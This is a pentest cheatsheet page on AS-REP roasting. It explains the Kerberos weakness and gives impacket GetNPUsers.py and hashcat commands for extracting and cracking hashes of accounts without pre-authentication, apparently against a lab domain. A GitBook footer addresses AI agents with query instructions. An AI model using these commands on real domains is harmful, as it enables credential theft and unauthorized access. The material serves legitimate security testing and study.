> For the complete documentation index, see [llms.txt](https://lanzt.gitbook.io/cheatsheet-pentest/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lanzt.gitbook.io/cheatsheet-pentest/windows-things/active-directory-methodology/attacks/kerberos/asrep-roast.md). # ASREP-Roast > Attack to find accounts with the privilege "Does not require Pre-Authentication" (this enables the user to request tickets without a previous authentication in the KDC) and extract its TGTs for cracking. > "Without Kerberos Pre-Auth" (the request from Client to request a TGT to the KDC), "when a client sends an Authentication Service request, the client’s User Principle Name (UPN) is included in the request with not much additional verification data. The KDC checks if the UPN exists in its database. If so, the KDC sends back an Authentication Service reply including a Ticket Granting ticket." Using the `GetNPUsers.py` tool of `impacket` and passing an existent list of users we can check those accounts. ```bash ➧ cat users_valid.txt james@spookysec.local [...] ``` ```bash python3 /opt/impacket/examples/GetNPUsers.py -no-pass -usersfile users_valid.txt -dc-ip 10.10.253.172 -format hashcat -outputfile users_asreproastables.txt 'spookysec.local/' ``` ```bash hashcat -a 0 -m 18200 users_asreproastables.txt /usr/share/wordlists/rockyou.txt -o users_asreproastables.txt.cracked ``` {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://lanzt.gitbook.io/cheatsheet-pentest/windows-things/active-directory-methodology/attacks/kerberos/asrep-roast.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.